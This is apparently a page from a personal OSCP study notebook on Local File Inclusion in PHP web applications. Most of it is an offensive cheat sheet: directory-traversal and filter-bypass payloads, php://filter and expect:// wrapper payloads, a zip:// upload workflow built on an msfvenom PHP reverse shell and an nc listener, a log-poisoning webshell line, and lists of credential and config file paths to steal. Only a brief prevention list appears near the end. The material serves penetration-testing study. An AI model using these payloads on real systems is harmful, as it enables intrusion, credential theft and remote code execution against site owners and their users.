Local File Inclusion (LFI)

📌 What is LFI?

Local File Inclusion (LFI) is a web vulnerability that allows an attacker to trick a web application into including files from the local server’s filesystem.
It typically occurs when user input is used in file path functions (e.g., PHP’s include, require, readfile) without proper validation or sanitization.

Remote URLs? If the parameter accepts http:// → Remote File Inclusion (RFI) (often faster RCE when allow_url_include=On). If http:// / https:// are filtered → ftp:// + pyftpdlib in RFI note.

🔍 How It Works

Example vulnerable PHP code:

<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
?>

If page is not validated, an attacker can manipulate the parameter to include unintended files:

http://example.com/index.php?page=../../../../etc/passwd

🎯 Potential Impact

Read sensitive files (e.g., /etc/passwd, config.php).
Steal credentials (database passwords, API keys).
Log file poisoning → Remote Code Execution (RCE).
View source code of the application.
Access session or authentication data.

🚀 LFI Exploitation Techniques

1. Basic File Reading

GET /index.php?page=../../../../etc/passwd

2. Bypassing Filters

Filters may block ../. Common bypasses:

....//....//....//etc/passwd
..%2F..%2F..%2F..%2Fetc/passwd
..%252F..%252F..%252Fetc/passwd

Null byte injection (PHP < 5.3):

/etc/passwd%00

3. Using PHP Wrappers

Base64 Encode Output:

?page=php://filter/convert.base64-encode/resource=config.php

Read Input Streams:

?page=php://input

Expect Wrapper (for code execution if enabled):

?page=expect://id

Example

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

4. zip:// wrapper — RCE via uploaded archive

When you can upload a ZIP (e.g. to /uploads/) and the app has LFI, the zip:// stream wrapper extracts and executes/reads a file inside the archive without manual unzip on disk.

Syntax:

zip://path/to/archive.zip#file_inside_archive.php

URL-encode # as %23 in browsers/burp:

GET /index.php?file=zip://uploads/upload_1786335222.zip%23shell.php

Lab example:

http://192.168.132.229/index.php?file=zip://uploads/upload_1786335222.zip%23llehs

(%23llehs → #llehs — PHP file llehs.php inside the uploaded zip)

Workflow:

# 1. Kali — create reverse shell + zip
msfvenom -p php/reverse_php LHOST=TUN0 LPORT=4444 -o shell.php
zip shell.zip shell.php
# or name inside zip: zip upload.zip llehs.php
 
# 2. Upload shell.zip via file upload form → lands in /uploads/upload_TIMESTAMP.zip
 
# 3. Trigger via LFI
curl "http://TARGET/index.php?file=zip://uploads/upload_1786335222.zip%23shell.php"
 
# 4. Listener
rlwrap nc -lnvp 4444

Part	Meaning
`zip://uploads/file.zip`	Path to uploaded archive on server
`#shell.php`	Entry inside the zip to include/execute
`%23`	URL-encoded `#`

Requirements: PHP zip extension enabled · LFI parameter · upload path known (guess or enumerate /uploads/).

→ File Upload Bypass · Shell · Msfvenom · PayloadsAllTheThings — LFI zip wrapper

5. Log Poisoning → RCE

Inject PHP payload into logs:

<?php system($_GET['cmd']); ?>

Include log file:

?page=../../../../var/log/apache2/access.log&cmd=id

6. Chaining with File Upload

If file upload is possible:

Upload a PHP webshell.
Include it via LFI:

?page=../../uploads/shell.php

📂 Valuable paths — LFI file inclusion cheat sheet

Use with ?page=, ?file=, ?include= + traversal as needed. On Windows LFI, try / instead of \.

Fuzz lists: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt · Gobuster · ffuf below

Linux — system files

Path	Contents
`/etc/passwd`	Users (no hashes on modern systems)
`/etc/shadow`	Password hashes (needs root read on disk — still try)
`/etc/group`	Groups
`/etc/issue`	Pre-login banner — OS hint
`/etc/hostname`	Hostname
`/etc/hosts`	Static host mappings
`/proc/self/environ`	Environment vars — may leak paths/creds
`/home/user/.ssh/id_rsa`	User SSH private key

?page=../../../../etc/passwd
?page=....//....//....//etc/passwd

Linux — log files (log poisoning → RCE)

Path	Server
`/var/log/apache/access.log`	Apache (Debian/Ubuntu alt path)
`/var/log/apache2/access.log`	Apache2
`/var/log/httpd/access_log`	Apache (RHEL/CentOS)
`/var/log/apache/error.log`	Apache error
`/var/log/apache2/error.log`	Apache2 error
`/var/log/httpd/error_log`	httpd error
`/var/log/nginx/access.log`	Nginx
`/var/log/messages`	General syslog
`/var/log/cron.log`	Cron activity
`/var/log/auth.log`	Auth / SSH (Debian/Ubuntu)

Poison User-Agent or request with <?php system($_GET['cmd']); ?> then include log → §5 Log Poisoning.

Linux — web app config (credentials)

Path	Application
`/var/www/html/wp-config.php`	WordPress
`/var/www/configuration.php`	Joomla / Mambo
`/var/www/html/inc/header.inc.php`	Dolphin
`/var/www/html/sites/default/settings.php`	Drupal
`/var/www/config.php`	Generic PHP
`/var/www/html/.git/config`	Git repo metadata → Git & GitHub

?page=php://filter/convert.base64-encode/resource=/var/www/html/wp-config.php
?page=../../../../var/www/html/wp-config.php

→ WPScan · CMSeeK - cmseek

Windows — system & unattended install (passwords)

Path	Contents
`C:/Windows/System32/drivers/etc/hosts`	Hosts file
`C:/Windows/Panther/Unattend/Unattended.xml`	Unattended install — passwords
`C:/Windows/Panther/Unattended.xml`	Same family
`C:/Windows/Panther/Unattend.txt`	Unattend text
`C:/Unattend.xml`	Root of C:
`C:/Autounattend.xml`	Auto unattended
`C:/Windows/system32/sysprep/`	Sysprep leftovers
`C:/Windows/win.ini`	Legacy config
`C:/boot.ini`	Boot config (legacy)

→ Windows PrivEsc > 📌 6) Stored Credentials

Windows — IIS / web

Path	Contents
`C:/inetpub/wwwroot/`	Default IIS web root
`C:/inetpub/wwwroot/web.config`	IIS app config — connection strings
`C:/inetpub/logs/LogFiles/`	IIS access/error logs
`C:/xampp/apache/logs/access.log`	XAMPP Apache log
`C:/xampp/htdocs/config.php`	XAMPP PHP config

?file=C:/inetpub/wwwroot/web.config
?file=C:/Windows/Panther/Unattend/Unattended.xml

Use C:/ forward slashes in LFI even on Windows.

→ IIS · XAMPP - CVE-2020-11107 Privilege Escalation

Exposed `.git` (no LFI needed)

curl -s http://TARGET/.git/HEAD
git-dumper http://TARGET/.git ./repo

→ Git & GitHub

📌 Fuzzing wordlists (SecLists)

Path	Use
`/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt`	General LFI payloads — start here if you suspect file inclusion
`/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt`	Linux-focused LFI paths & bypasses

# ffuf — parameter fuzz
ffuf -u "http://TARGET/page.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
 
# gobuster — if param name unknown, dir mode with traversal in wordlist still useful for path discovery
gobuster dir -u http://TARGET/ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Also: PayloadsAllTheThings — LFI · Default Credentials > 📌 Authentication bypass (login inputs) (login bypass — different from LFI)

🛡 Prevention

Use a whitelist for files to include.
Never pass raw user input to file functions.
Disable allow_url_include in php.ini.
Apply proper input sanitization & encoding.
Use frameworks that abstract file access securely.

📚 Reference Databases

🛠 Quick Command Summary

Basic

?page=../../../../etc/passwd

Bypass Filters

?page=..%2F..%2F..%2F..%2Fetc/passwd
?page=....//....//....//etc/passwd

PHP Wrappers

?page=php://filter/convert.base64-encode/resource=config.php
?page=php://input

zip:// RCE (upload + LFI)

?file=zip://uploads/upload_TIMESTAMP.zip%23shell.php
http://TARGET/index.php?file=zip://uploads/upload_1786335222.zip%23llehs

Log Poisoning

?page=../../../../var/log/apache2/access.log&cmd=id

Pearson's OSCP Notebook

Explorer

Local File Inclusion (LFI)

📌 What is LFI?

🔍 How It Works

🎯 Potential Impact

🚀 LFI Exploitation Techniques

1. Basic File Reading

2. Bypassing Filters

3. Using PHP Wrappers

4. zip:// wrapper — RCE via uploaded archive

5. Log Poisoning → RCE

6. Chaining with File Upload

📂 Valuable paths — LFI file inclusion cheat sheet

Linux — system files

Linux — log files (log poisoning → RCE)

Linux — web app config (credentials)

Windows — system & unattended install (passwords)

Windows — IIS / web

Exposed `.git` (no LFI needed)

📌 Fuzzing wordlists (SecLists)

🛡 Prevention

📚 Reference Databases

🛠 Quick Command Summary

Basic

Bypass Filters

PHP Wrappers

zip:// RCE (upload + LFI)

Log Poisoning

Graph View

Table of Contents

Backlinks

Pearson's OSCP Notebook

Explorer

Local File Inclusion (LFI)

📌 What is LFI?

🔍 How It Works

🎯 Potential Impact

🚀 LFI Exploitation Techniques

1. Basic File Reading

2. Bypassing Filters

3. Using PHP Wrappers

4. zip:// wrapper — RCE via uploaded archive

5. Log Poisoning → RCE

6. Chaining with File Upload

📂 Valuable paths — LFI file inclusion cheat sheet

Linux — system files

Linux — log files (log poisoning → RCE)

Linux — web app config (credentials)

Windows — system & unattended install (passwords)

Windows — IIS / web

Exposed .git (no LFI needed)

📌 Fuzzing wordlists (SecLists)

🛡 Prevention

📚 Reference Databases

🛠 Quick Command Summary

Basic

Bypass Filters

PHP Wrappers

zip:// RCE (upload + LFI)

Log Poisoning

Related Tools

Related Notes

Graph View

Table of Contents

Backlinks

Exposed `.git` (no LFI needed)